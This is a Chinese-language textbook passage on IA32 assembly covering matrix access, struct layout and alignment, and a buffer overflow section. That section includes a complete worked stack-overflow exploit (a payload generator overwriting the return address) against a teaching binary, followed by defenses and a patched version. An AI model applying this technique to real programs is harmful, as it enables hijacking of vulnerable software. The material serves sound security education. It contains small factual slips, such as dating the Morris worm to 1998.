元素 (1,2) 位于地址 `M1 + (1 * COLS) + 2`。由于 `COLS` = 3,元素 (1,2) 对应于 `M1+5`。为了访问这个位置的元素,编译器必须将 5 乘以 `int` 数据类型的大小(四个字节),得到偏移量 `M1+20`,这对应于图中字节 *x*[20]。解引用这个位置会得到元素 5,这确实是矩阵中的元素 (1,2)。
#### 8.8.2 非连续矩阵
非连续矩阵的实现稍微复杂一些。图 8-10 直观地展示了 `M2` 在内存中的可能布局。

*图 8-10:矩阵 `M2` 在内存中的非连续布局*
请注意,指针数组是连续的,并且 `M2` 的每个元素指向的数组(例如,`M2[i]`)也是连续的。然而,这些独立的数组之间并不连续。
以下示例中的 `sumMatrix` 函数接受一个整数指针数组(称为 `matrix`)作为第一个参数,第二和第三个参数是行数和列数:
int sumMatrix(int **matrix, int rows, int cols) {
int i, j, total=0;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
total += matrix[i][j];
}
}
return total;
}
尽管这个函数看起来与之前展示的 `sumMat` 函数几乎相同,但该函数接受的是一个包含连续指针的矩阵。每个指针都包含一个独立连续数组的地址,这个数组对应矩阵中的一行。
以下是 `sumMatrix` 的相应汇编代码。每一行都带有它的英文翻译。
0x080484ad <+0>: push %ebp # save ebp
0x080484ae <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x080484b0 <+3>: sub $0x10,%esp # add 4 spaces to stack frame
0x080484b3 <+6>: movl $0x0,-0xc(%ebp) # copy 0 to %ebp-12 (total)
0x080484ba <+13>: movl $0x0,-0x4(%ebp) # copy 0 to %ebp-4 (i)
0x080484c1 <+20>: jmp 0x80484fa <sumMatrix+77> # goto <sumMatrix+77>
0x080484c3 <+22>: movl $0x0,-0x8(%ebp) # copy 0 to %ebp-8 (j)
0x080484ca <+29>: jmp 0x80484ee <sumMatrix+65> # goto <sumMatrix+65>
0x080484cc <+31>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484cf <+34>: lea 0x0(,%eax,4),%edx # mult i by 4, place in %edx
0x080484d6 <+41>: mov 0x8(%ebp),%eax # copy matrix to %eax
0x080484d9 <+44>: add %edx,%eax # put (i * 4) + matrix in %eax
0x080484db <+46>: mov (%eax),%eax # copy matrix[i] to %eax
0x080484dd <+48>: mov -0x8(%ebp),%edx # copy j to %edx
0x080484e0 <+51>: shl $0x2,%edx # mult j by 4, place in %edx
0x080484e3 <+54>: add %edx,%eax # put (j*4)+matrix[i] in %eax
0x080484e5 <+56>: mov (%eax),%eax # copy matrix[i][j] to %eax
0x080484e7 <+58>: add %eax,-0xc(%ebp) # add matrix[i][j] to total
0x080484ea <+61>: addl $0x1,-0x8(%ebp) # add 1 to j (j+=1)
0x080484ee <+65>: mov -0x8(%ebp),%eax # copy j to %eax
0x080484f1 <+68>: cmp 0x10(%ebp),%eax # compare j with cols
0x080484f4 <+71>: jl 0x80484cc <sumMatrix+31> # if j<cols goto<sumMatrix+31>
0x080484f6 <+73>: addl $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x080484fa <+77>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484fd <+80>: cmp 0xc(%ebp),%eax # compare i with rows
0x08048500 <+83>: jl 0x80484c3 <sumMatrix+22> # if i<rows goto<sumMatrix+22>
0x08048502 <+85>: mov -0xc(%ebp),%eax # copy total to %eax
0x08048505 <+88>: leave # prepare to leave function
0x08048506 <+89>: ret # return total
再次提醒,变量 `i`、`j` 和 `total` 分别位于堆栈地址 `%ebp-4`、`%ebp-8` 和 `%ebp-12`。输入参数 `m`、`row` 和 `cols` 分别位于堆栈地址 `%ebp+8`、`%ebp+12` 和 `%ebp+16`。
让我们聚焦在专门处理元素 (*i*, *j*) 访问的部分,或者说 `matrix[i][j]`:
0x080484cc <+31>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484cf <+34>: lea 0x0(,%eax,4),%edx # multiply i by 4, place in %edx
0x080484d6 <+41>: mov 0x8(%ebp),%eax # copy matrix to %eax
0x080484d9 <+44>: add %edx,%eax # add i*4 to matrix, place in %eax
0x080484db <+46>: mov (%eax),%eax # copy matrix[i] to %eax
`<sumMatrix+31>` 和 `<sumMatrix+46>` 之间的五条指令计算 `matrix[i]`,或 `*(matrix+i)`。请注意,编译器需要在将 `i` 加到 `matrix` 上之前,先将 `i` 乘以四,以计算正确的偏移量(回想一下指针的大小是四个字节)。接着,位于 `<sumMatrix+46>` 的指令会解引用计算出来的地址,以获取元素 `matrix[i]`。
由于 `matrix` 是一个 `int` 指针数组,位于 `matrix[i]` 位置的元素本身是一个 `int` 指针。`matrix[i]` 中的第 *j* 个元素位于 `matrix[i]` 数组的偏移量 *j* × 4 处。
接下来的一组指令提取了 `matrix[i]` 数组中的第 *j* 个元素:
0x080484dd <+48>: mov -0x8(%ebp),%edx # copy j to %edx
0x080484e0 <+51>: shl $0x2,%edx # multiply j by 4, place in %edx
0x080484e3 <+54>: add %edx,%eax # add j*4 to matrix[i], place in %eax
0x080484e5 <+56>: mov (%eax),%eax # copy matrix[i][j] to %eax
0x080484e7 <+58>: add %eax,-0xc(%ebp) # add matrix[i][j] to total
这段代码的第一条指令将变量 `j` 加载到寄存器 `%edx` 中。编译器使用左移(`shl`)指令将 `j` 乘以 4,并将结果存储到寄存器 `%edx` 中。然后,编译器将该值加到 `matrix[i]` 的地址上,以获取 `matrix[i][j]` 的地址。
让我们回顾一下 图 8-10,并考虑对 `M2[1][2]` 的访问示例。为了方便,我们在 图 8-11 中重新呈现了该图:

*图 8-11: 矩阵 `M2` 在内存中的非连续布局*
请注意,`M2` 从内存位置 *x*[0] 开始。编译器首先通过将 1 乘以 4(`sizeof(int *)`),然后加到 `M2` 的地址(*x*[0])来计算 `M2[1]` 的地址,得出新的地址 *x*[4]。对这个地址进行解引用,得到与 `M2[1]` 相关联的地址,即 *x*[36]。然后,编译器将索引 2 乘以 4(`sizeof(int)`),并将结果(8)加到 *x*[36],得到最终地址 *x*[44]。对 *x*[44] 进行解引用,得到值 5。果然,在 图 8-11 中,与 `M2[1][2]` 对应的元素值为 5。
### 8.9 汇编中的结构体
`struct`(请参阅 第 103 页 中的“C 结构”)是 C 中创建数据类型集合的另一种方式。与数组不同,结构体允许将不同的数据类型组合在一起。C 语言将 `struct` 存储为一个一维数组,数据元素(字段)按顺序连续存储。
让我们回顾一下 第一章 中的 `struct studentT`:
struct studentT {
char name[64];
int age;
int grad_yr;
float gpa;
};
struct studentT student;
图 8-12 显示了 `student` 在内存中的布局。为了举例说明,假设 `student` 从地址 *x*[0] 开始。每个 *x*[*i*] 表示某个字段的地址。

*图 8-12: `struct studentT` 的内存布局*
字段按声明的顺序连续存储在内存中。在 图 8-12 中,`age` 字段分配在 `name` 字段之后的内存位置(字节偏移量 *x*[64]),然后是 `grad_yr`(字节偏移量 *x*[68])和 `gpa`(字节偏移量 *x*[72])字段。这种组织方式使得访问字段更加高效节省内存。
为了理解编译器如何生成汇编代码以操作 `struct`,请考虑函数 `initStudent`:
void initStudent(struct studentT *s, char *nm, int ag, int gr, float g) {
strncpy(s->name, nm, 64);
s->grad_yr = gr;
s->age = ag;
s->gpa = g;
}
`initStudent` 函数使用 `struct studentT` 的基地址作为第一个参数,其他字段的期望值作为剩余参数。以下是该函数的汇编代码。一般来说,传递给 `initStudent` 函数的参数 *i* 位于栈地址 `(ebp+8)` + 4 × *i*。
<+0>: push %ebp # save ebp
<+1>: mov %esp,%ebp # update ebp (new stack frame)
<+3>: sub $0x18,%esp # add 24 bytes to stack frame
<+6>: mov 0x8(%ebp),%eax # copy first parameter (s) to eax
<+9>: mov 0xc(%ebp),%edx # copy second parameter (nm) to edx
<+12> mov $0x40,0x8(%esp) # copy 0x40 (or 64) to esp+8
<+16>: mov %edx,0x4(%esp) # copy nm to esp+4
<+20>: mov %eax,(%esp) # copy s to top of stack (esp)
<+23>: call 0x8048320 strncpy@plt # call strncpy(s->name, nm, 64)
<+28>: mov 0x8(%ebp),%eax # copy s to eax
<+32>: mov 0x14(%ebp),%edx # copy fourth parameter (gr) to edx
<+35>: mov %edx,0x44(%eax) # copy gr to offset eax+68 (s->grad_yr)
<+38>: mov 0x8(%ebp),%eax # copy s to eax
<+41>: mov 0x10(%ebp),%edx # copy third parameter (ag) to edx
<+44>: mov %edx,0x40(%eax) # copy ag to offset eax+64 (s->age)
<+47>: mov 0x8(%ebp),%edx # copy s to edx
<+50>: mov 0x18(%ebp),%eax # copy g to eax
<+53>: mov %eax,0x48(%edx) # copy g to offset edx+72 (s->gpa)
<+56>: leave # prepare to leave the function
<+57>: ret # return
注意每个字段的字节偏移量是理解这段代码的关键。这里有几个需要记住的事项。
`strncpy` 调用将 `s` 中 `name` 字段的基地址、数组 `nm` 的地址和长度规范作为三个参数。回想一下,因为 `name` 是 `struct studentT` 中的第一个字段,所以 `s` 的地址与 `s->name` 的地址是同义的。
<+6>: mov 0x8(%ebp),%eax # copy first parameter (s) to eax
<+9>: mov 0xc(%ebp),%edx # copy second parameter (nm) to edx
<+12> mov $0x40,0x8(%esp) # copy 0x40 (or 64) to esp+8
<+16>: mov %edx,0x4(%esp) # copy nm to esp+4
<+20>: mov %eax,(%esp) # copy s to top of stack (esp)
<+23>: call 0x8048320 strncpy@plt # call strncpy(s->name, nm, 64)
下一部分(指令 `<initStudent+28>` 到 `<initStudent+35>`)将 `gr` 参数的值放置在 `s` 起始位置偏移 68 的位置。重新查看 图 8-12 中的内存布局,可以看到这个地址对应 `s->grad_yr`。
<+28>: mov 0x8(%ebp),%eax # copy s to eax
<+32>: mov 0x14(%ebp),%edx # copy fourth parameter (gr) to edx
<+35>: mov %edx,0x44(%eax) # copy gr to offset eax+68 (s->grad_yr
下一部分(指令 `<initStudent+38>` 到 `<initStudent+53>`)将 `ag` 参数复制到 `s->age` 字段。之后,`g` 参数的值被复制到 `s->gpa` 字段(字节偏移量为 72):
<+38>: mov 0x8(%ebp),%eax # copy s to eax
<+41>: mov 0x10(%ebp),%edx # copy third parameter (ag) to edx
<+44>: mov %edx,0x40(%eax) # copy ag to offset eax+64 (s->age)
<+47>: mov 0x8(%ebp),%edx # copy s to edx
<+50>: mov 0x18(%ebp),%eax # copy g to eax
<+53>: mov %eax,0x48(%edx) # copy g to offset edx+72 (s->gpa)
#### 8.9.1 数据对齐与结构体
考虑以下修改后的 `struct studentT` 声明:
struct studentTM {
char name[63]; //updated to 63 instead of 64
int age;
int grad_yr;
float gpa;
};
struct studentTM student2;
`name` 字段的大小被修改为 63 字节,而不是原来的 64 字节。考虑这如何影响 `struct` 在内存中的布局。可能会让人误以为它就像 图 8-13 中那样。

*图 8-13:更新后的 `struct` `studentTM` 的错误内存布局。请注意,`name` 字段的大小从 64 字节减少到 63 字节。*
在这个示意图中,`age` 字段紧随 `name` 字段之后。但是这是不正确的。图 8-14 展示了内存中的实际布局。

*图 8-14:更新后的 `struct` `studentTM` 的正确内存布局。编译器添加了字节 *x*[63] 来满足内存对齐要求,但它并不对应任何字段。*
IA32 的对齐策略要求二字节数据类型(即 `short`)存放在二字节对齐的地址上,四字节数据类型(`int`、`float`、`long` 和指针类型)存放在四字节对齐的地址上,八字节数据类型(`double`、`long long`)存放在八字节对齐的地址上。对于 `struct`,编译器会在字段之间添加空字节作为 *填充*,以确保每个字段满足其对齐要求。例如,在之前代码片段中声明的 `struct` 中,编译器在字节 *x*[63] 处添加了一个空字节(或填充字节),确保 `age` 字段从一个四字节对齐的地址开始。内存中正确对齐的值可以在单次操作中读取或写入,从而提高效率。
考虑以下 `struct` 定义时发生的情况:
struct studentTM {
int age;
int grad_yr;
float gpa;
char name[63];
};
struct studentTM student3;
将`name`数组移至末尾可以确保`age`、`grad_yr`和`gpa`四个字节对齐。大多数编译器会去除`struct`末尾的填充字节。然而,如果`struct`被用在数组中(例如:`struct studentTM courseSection[20];`),编译器会再次在数组中的每个`struct`之间添加填充字节,以确保满足对齐要求。
### 8.10 真实世界:缓冲区溢出
C 语言不执行自动数组边界检查。访问数组边界之外的内存会导致问题,通常会引发如段错误之类的错误。然而,一个巧妙的攻击者可以注入恶意代码,故意超出数组的边界(也称为*缓冲区*),迫使程序以意外的方式执行。在最严重的情况下,攻击者可能运行代码,允许他们获得*root 权限*或操作系统级别的计算机系统访问权限。利用已知程序中的缓冲区溢出错误的恶意软件被称为*缓冲区溢出漏洞*。
在本节中,我们将使用 GDB 和汇编语言全面描述缓冲区溢出漏洞的机制。在阅读本章之前,我们建议你先阅读第 177 页上的“调试汇编代码”部分。
#### 8.10.1 缓冲区溢出的著名案例
缓冲区溢出漏洞在 1980 年代开始出现,并在 2000 年代初期持续困扰计算机行业。尽管许多现代操作系统已经针对最简单的缓冲区溢出攻击提供了防护,但不小心的编程错误仍然可能让现代程序暴露于攻击之下。近期,Skype、^(3) Android、^(4) Google Chrome^(5)等程序中都发现了缓冲区溢出漏洞。以下是一些著名的缓冲区溢出漏洞历史案例。
##### 莫里斯蠕虫
莫里斯蠕虫^(6)于 1998 年从麻省理工学院发布到 ARPANet(为了掩饰它是由康奈尔大学的学生编写的),并利用了 Unix 指纹守护进程(`fingerd`)中的缓冲区溢出漏洞。在 Linux 及其他类 Unix 系统中,*守护进程*是一种持续在后台执行的进程,通常负责清理和监控任务。`fingerd`守护进程返回关于计算机或用户的友好报告。最关键的是,蠕虫具有复制机制,使其能多次发送到同一台计算机,导致系统变得无法使用。尽管作者声称蠕虫本意是无害的知识性练习,但复制机制使得蠕虫容易传播,并且难以清除。此后,其他蠕虫也开始利用缓冲区溢出漏洞来未经授权地访问系统。著名的例子包括 Code Red(2001 年)、MS-SQLSlammer(2003 年)和 W32/Blaster(2003 年)。
##### AOL 聊天大战
大卫·奥尔巴赫(David Auerbach),^(7) 前微软工程师,详细描述了他在上世纪 90 年代末将微软的 Messenger 服务(MMS)与 AOL 即时通讯(AIM)整合时遇到的缓冲区溢出问题。当时,AOL 即时通讯(AIM)是*最*受欢迎的即时消息服务,如果你想给朋友和家人发送即时消息,它就是首选。微软通过在 MMS 中设计一个功能,使得 MMS 用户能够与 AIM “好友”进行对话,从而试图在这个市场中占有一席之地。AOL 不满这一举措,于是修补了他们的服务器,使得 MMS 无法再连接到它们。微软工程师发现了一种方法,使得 MMS 客户端能够模拟 AIM 客户端发送的消息到 AOL 服务器,这使得 AOL 难以区分 MMS 和 AIM 接收到的消息。AOL 通过改变 AIM 发送消息的方式进行了回应,而 MMS 工程师也相应地更改了客户端的消息格式,使其再次与 AIM 的消息格式一致。这场“聊天战争”一直持续,直到 AOL 开始在他们自己的客户端中利用缓冲区溢出错误来验证发送的消息是否来自 AIM 客户端。由于 MMS 客户端没有相同的漏洞,聊天战争结束,AOL 成为了胜利者。
#### 8.10.2 初步了解:猜数字游戏
为了帮助你理解缓冲区溢出攻击的机制,我们提供了一个 32 位的简单程序可执行文件,允许用户与程序进行猜数字游戏。下载 `secret` 可执行文件^(8) 并使用 `tar` 命令解压:
$ tar -xzvf secret.tar.gz
在这里,我们提供了与可执行文件相关的主文件副本:
main.c
include <stdio.h>
include <stdlib.h>
include "other.h" //contains secret function definitions
/prints out the You Win! message/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/main function of the game/
int main() {
int guess, secret, len;
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%s", buf); //read guess from user input
guess = atoi(buf); //convert to an integer
secret = getSecretCode(); //call the getSecretCode() function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%s", buf); //get secret string from user input
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret){
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
这个游戏要求用户首先输入一个秘密数字,然后输入一个秘密字符串来赢得猜数字游戏。头文件 `other.h` 包含了 `getSecretCode` 和 `calculateValue` 函数的定义,但我们无法访问它。那么,用户如何才能击败程序呢?暴力破解解决方案将需要很长时间。一种策略是使用 GDB 分析 `secret` 可执行文件,并逐步调试汇编代码,以揭示秘密数字和字符串。检查汇编代码以揭示其工作原理的过程通常被称为 *逆向工程*。对 GDB 和阅读汇编代码足够熟悉的读者应该能够使用 GDB 来逆向工程出秘密数字和秘密字符串。
然而,还有一种更隐蔽的方法可以获胜。
#### 8.10.3 更深入的分析(C 语言底层)
程序在第一次调用 `scanf` 时存在潜在的缓冲区溢出漏洞。为了理解发生了什么,让我们使用 GDB 检查 `main` 函数的汇编代码。我们还将在地址 0x0804859f 设置一个断点,这个地址是调用 `scanf` 之前的指令地址(将断点放在 `scanf` 的地址会导致程序执行在*scanf*内部暂停,而不是在 `main` 中暂停)。
0x08048582 <+0>: push %ebp
0x08048583 <+1>: mov %esp,%ebp
0x08048588 <+6>: sub $0x38,%esp
0x0804858b <+9>: movl $0x8048707,(%esp)
0x08048592 <+16>: call 0x8048390 printf@plt
0x08048597 <+21>: lea 0x1c(%esp),%eax
0x0804859b <+25>: mov %eax,0x4(%esp)
=> 0x0804859f <+29>: movl $0x804871c,(%esp)
0x080485a6 <+36>: call 0x80483e0 scanf@plt
图 8-15 展示了在调用 `scanf` 之前栈的状态。

*图 8-15:调用`scanf`前的栈状态*
在调用`scanf`之前,`scanf`的参数已经预先加载到栈中,第一个参数位于栈顶,第二个参数位于栈下方一个地址。位于`<main+21>`的位置的`lea`指令创建了`buf`数组的引用。
现在,假设用户在提示符下输入了`12345678`。 图 8-16 展示了`scanf`调用完成后栈的情况。

*图 8-16:调用`scanf`并输入`12345678`后,栈的即时状态*
记住,数字 0 到 9 的 ASCII 编码的十六进制值是 0x30 到 0x39,并且每个栈内存位置长四个字节。帧指针比栈指针远 56 个字节。读者可以通过使用 GDB 打印`%ebp`的值(`p` `$ebp`)来确认`%ebp`的值。在示例中,`%ebp`的值是 0xffffd428。以下命令允许读者检查寄存器`%esp`下方的 64 个字节(以十六进制表示):
(gdb) x /64bx $esp
这个 GDB 命令的输出类似于以下内容:
0xffffd3f0: 0x1c 0x87 0x04 0x08 0x0c 0xd4 0xff 0xff
0xffffd3f8: 0x00 0xa0 0x04 0x08 0xb2 0x86 0x04 0x08
0xffffd400: 0x01 0x00 0x00 0x00 0xc4 0xd4 0xff 0xff
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x00 0x80 0x00 0x00
0xffffd418: 0x6b 0x86 0x04 0x08 0x00 0x80 0xfb 0xf7
0xffffd420: 0x60 0x86 0x04 0x08 0x00 0x00 0x00 0x00
0xffffd428: 0x00 0x00 0x00 0x00 0x43 0x5a 0xe1 0xf7
每行表示两个 32 位字。因此,第一行表示地址 0xffffd3f0 和 0xffffd3f4 处的字。从栈顶看,我们可以看到与字符串`"%s"`(或 0x0804871c)相关的内存地址,后面跟着`buf`的地址(或 0xffffd40c)。请注意,`buf`的地址在本节中的图中简单地表示为 0x40c。
**注意 多字节值按小端顺序存储**
在前面的汇编段中,地址 0xfffffd3f0 处的字节是 0x1c,地址 0xfffffd3f1 处的字节是 0x87,地址 0xfffffd3f2 处的字节是 0x04,地址 0xfffffd3f3 处的字节是 0x08。然而,位于地址 0xfffffd3f0 的 32 位*值*(即字符串`"%s"`的内存地址)实际上是 0x0804871c。记住,因为 x86 是一个小端系统(参见第 224 页中的“整数字节顺序”),多字节值(如地址)的字节按逆序存储。类似地,数组`buf`的地址(0xffffd40c)对应的字节在地址 0xfffffd3f4 处按逆序存储。
地址 0xffffd40c 相关的字节与地址 0xffffd408 相关的字节位于同一行,并且是该行的第二个字。由于`buf`数组长 12 个字节,因此与`buf`相关的元素跨越了从地址 0xffffd40c 到 0xffffd417 的 12 个字节。检查这些地址处的字节可以得到:
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x00 0x80 0x00 0x00
在这些位置,我们可以清楚地看到输入字符串 12345678 的十六进制表示。空终止字节`\0`出现在地址 0xffffd414 的最左边字节位置。回想一下,`scanf`会用空字节终止所有字符串。
当然,12345678 并不是秘密数字。这里是我们尝试用输入字符串 12345678 运行`secret`时的输出:
$ ./secret
Enter secret number:
12345678
You are so wrong!
$ echo $?
1
`echo $?`命令会打印出最后执行命令的返回值。在这种情况下,程序返回了 1,因为我们输入的秘密数字是错误的。回想一下,按照惯例,当没有错误时,程序会返回 0。接下来的目标是欺骗程序让它以 0 为返回值退出,表示我们赢得了游戏。
#### 8.10.4 缓冲区溢出:第一次尝试
接下来,让我们尝试输入字符串 1234567890123456789012345678901234:
$ ./secret
Enter secret number:
1234567890123456789012345678901234
You are so wrong!
Segmentation fault (core dumped)
$ echo $?
139
有趣!现在程序因分段错误而崩溃,返回代码为 139。图 8-17 展示了`main`调用栈的样子,紧接着是用这个新输入调用`scanf`后的结果。

*图 8-17:调用`scanf`并输入 1234567890123456789012345678901234 后的调用栈*
输入字符串如此之长,以至于它不仅覆盖了地址 0x428 处的值,而且还溢出到`main`栈帧下方的返回地址。回想一下,当一个函数返回时,程序会尝试在返回地址指定的地址恢复执行。在这个例子中,程序在退出`main`后尝试在地址 0xf7003433 恢复执行,但该地址并不存在。因此,程序因分段错误而崩溃。
在 GDB 中重新运行程序(`input.txt`包含上面的输入字符串)可以揭示这种恶意行为的实际效果:
$ gdb secret
(gdb) break *0x804859b
(gdb) ni
(gdb) run < input.txt
(gdb) x /64bx $esp
0xffffd3f0: 0x1c 0x87 0x04 0x08 0x0c 0xd4 0xff 0xff
0xffffd3f8: 0x00 0xa0 0x04 0x08 0xb2 0x86 0x04 0x08
0xffffd400: 0x01 0x00 0x00 0x00 0xc4 0xd4 0xff 0xff
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x39 0x30 0x31 0x32
0xffffd418: 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x30
0xffffd420: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffd428: 0x39 0x30 0x31 0x32 0x33 0x34 0x00 0xf7
注意到我们的输入字符串超出了数组`buf`的指定限制,覆盖了栈上存储的所有其他值。换句话说,我们的字符串引发了缓冲区溢出,破坏了调用栈,导致程序崩溃。这个过程也被称为*栈溢出*。
#### 8.10.5 更智能的缓冲区溢出:第二次尝试
我们的第一个例子通过用垃圾值覆盖`%ebp`寄存器和返回地址,破坏了栈,导致程序崩溃。一个仅仅目的是使程序崩溃的攻击者可能此时就满足了。然而,我们的目标是欺骗猜谜游戏返回 0,表示我们赢得了游戏。我们通过用比垃圾值更有意义的数据填充调用栈来实现这一点。例如,我们可以覆盖栈,让返回地址被`endGame`的地址替代。然后,当程序尝试从`main`返回时,它将执行`endGame`,而不是因为分段错误而崩溃。
为了找出`endGame`的地址,让我们在 GDB 中再次检查`secret`:
$ gdb secret
(gdb) disas endGame
Dump of assembler code for function endGame:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x18,%esp
0x0804856a <+6>: movl $0x80486fe,(%esp)
0x08048571 <+13>: call 0x8048390 puts@plt
0x08048576 <+18>: movl $0x0,(%esp)
0x0804857d <+25>: call 0x80483b0 exit@plt
End of assembler dump.
注意到`endGame`的起始地址是 0x08048564。图 8-18 展示了一个示例利用,强制`secret`运行`endGame`函数。

*图 8-18:一个可以强制`secret`执行`endGame`函数的示例字符串*
再次提醒,由于 x86 是一个小端系统,栈是向低地址增长的,因此返回地址中的字节顺序看起来是反的。
下面的程序说明了攻击者如何构建前述的利用程序:
include <stdio.h>
char ebuff[]=
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /first 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /next 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /following 10 bytes of junk/
"\x31\x32" /last 2 bytes of junk/
"\x64\x85\x04\x08" /address of endGame (little endian)/
;
int main(void) {
int i;
for (i = 0; i < sizeof(ebuff); i++) { /print each character/
printf("%c", ebuff[i]);
}
return 0;
}
每个数字前面的 `\x` 表示该数字以字符的十六进制表示形式格式化。在定义了 `ebuff[]` 之后,`main` 函数简单地逐个字符地将其打印出来。要获取关联的字节字符串,请按以下方式编译和运行此程序:
$ gcc -o genEx genEx.c
$ ./genEx > exploit
要将文件 `exploit` 作为 `scanf` 的输入,只需以以下方式运行 `secret`:
$ ./secret < exploit
Enter secret number:
You are so wrong!
You win!
该程序打印出“你错了!”因为 `exploit` 中包含的字符串*不是*秘密数字。然而,程序也会打印出字符串“你赢了!”请记住,我们的目标是欺骗程序返回 0。在更大的系统中,成功的概念由外部程序跟踪,最重要的通常是程序的返回值,而不是其输出。
检查返回值产生:
$ echo $?
0
我们的利用奏效了!我们赢得了比赛!
#### 8.10.6 缓冲区溢出防护
我们展示的例子改变了 `secret` 可执行文件的控制流,强制其返回与成功相关的零值。然而,这样的利用可能会造成实质性的损害。此外,一些旧的计算机系统*执行*来自堆栈内存的字节。如果攻击者在调用堆栈上放置与汇编指令相关联的字节,则 CPU 会将这些字节解释为*真正的*指令,使攻击者能够强制 CPU 执行他们选择的*任意代码*。幸运的是,现代计算机系统采用了一些策略,使得运行缓冲区溢出利用变得更加困难:
**堆栈随机化。** 操作系统在堆栈内存中随机分配堆栈的起始地址,导致程序每次运行时调用堆栈的位置/大小都不同。运行相同代码的多台机器会有不同的堆栈地址。现代 Linux 系统将堆栈随机化作为标准做法。然而,决心的攻击者可以通过尝试使用不同地址的攻击来强制执行攻击。一个常见的技巧是使用一个 *NOP 滑梯*(或滑块),即大量的 `nop` 指令,在实际利用代码之前。执行 `nop` 指令 (`0x90`) 没有其他效果,除了使程序计数器增加到下一条指令。只要攻击者能够让 CPU 在 NOP 滑梯中的某个地方执行,NOP 滑梯最终会导致其后的利用代码执行。Aleph One 在其文档^(9)详细说明了这种类型攻击的机制。
**栈溢出检测。**另一个防线是尝试检测栈是否被破坏。GCC 的最新版本使用了一个被称为*金丝雀*的栈保护器,它作为缓冲区与栈中其他元素之间的保护层。金丝雀是一个存储在不可写内存区域中的值,可以与栈上存储的值进行比较。如果金丝雀在程序执行过程中“死亡”,程序就会知道自己正在遭受攻击,并会中止并显示错误信息。然而,聪明的攻击者可以替换金丝雀,以防止程序检测到栈破坏。
**限制可执行区域。**在这条防线中,可执行代码仅限于特定的内存区域。换句话说,调用栈不再是可执行的。然而,即使是这个防线也能被突破。在利用*返回导向编程*(ROP)的攻击中,攻击者可以从可执行区域中“精心挑选”指令,并从一条指令跳转到另一条指令来构建利用链。网上有一些著名的例子,尤其是在视频游戏中。^(10)
然而,最有效的防线始终是程序员。为了防止对程序的缓冲区溢出攻击,请尽可能使用带有*长度说明符*的 C 函数,并添加执行数组边界检查的代码。确保任何已定义的数组都与所选的长度说明符匹配是至关重要的。表 8-18 列出了某些常见的“坏”C 函数,这些函数容易受到缓冲区溢出攻击,并给出了相应的“好”函数(假设`buf`已分配了 12 个字节)。
**表 8-18:** 带有长度说明符的 C 函数
| **代替** | **使用** |
| --- | --- |
| `gets(buf)` | `fgets(buf, 12, stdin)` |
| `scanf("%s", buf)` | `scanf("%12s", buf)` |
| `strcpy(buf2, buf)` | `strncpy(buf2, buf, 12)` |
| `strcat(buf2, buf)` | `strncat(buf2, buf, 12)` |
| `sprintf(buf, "%d", num)` | `snprintf(buf, 12, "%d", num)` |
`secret2`二进制文件^(11)不再具有缓冲区溢出漏洞。以下是该新二进制文件的`main`函数:
main2.c
include <stdio.h>
include <stdlib.h>
include "other.h" //contain secret function definitions
/prints out the You Win! message/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/main function of the game/
int main() {
int guess, secret, len;
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%12s", buf); //read guess from user input (fixed!)
guess = atoi(buf); //convert to an integer
secret=getSecretCode(); //call the getSecretCode function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%12s", buf); //get secret string from user input (fixed!)
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret) {
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
请注意,我们在所有`scanf`的调用中添加了长度说明符,这导致`scanf`函数在读取输入的前 12 个字节后停止。利用字符串不再导致程序崩溃:
$ ./secret2 < exploit
Enter secret number:
You are so wrong!
$ echo $?
1
当然,任何具备基本逆向工程技能的读者仍然可以通过分析汇编代码来获胜。如果你还没有通过逆向工程挑战过这个程序,我们鼓励你现在就去尝试。
### 注释
1. Edsger Dijkstra,“Go To 语句的危害”,*ACM 通讯* 11(3),第 147–148 页,1968 年。
2. *[`diveintosystems.org/book/C8-IA32/recursion.html`](https://diveintosystems.org/book/C8-IA32/recursion.html)*
3. Mohit Kumar, “致命的 Skype 漏洞让黑客远程执行恶意代码”,* [`thehackernews.com/2017/06/skype-crash-bug.html`](https://thehackernews.com/2017/06/skype-crash-bug.html)*, 2017.
4. Tamir Zahavi-Brunner, “CVE-2017-13253:多个 Android DRM 服务中的缓冲区溢出”,* [`blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/`](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)*, 2018.
5. Tom Spring, “谷歌修复‘高严重性’浏览器漏洞”,* [`threatpost.com/google-patches-high-severity-browser-bug/128661/`](https://threatpost.com/google-patches-high-severity-browser-bug/128661/)*, 2017.
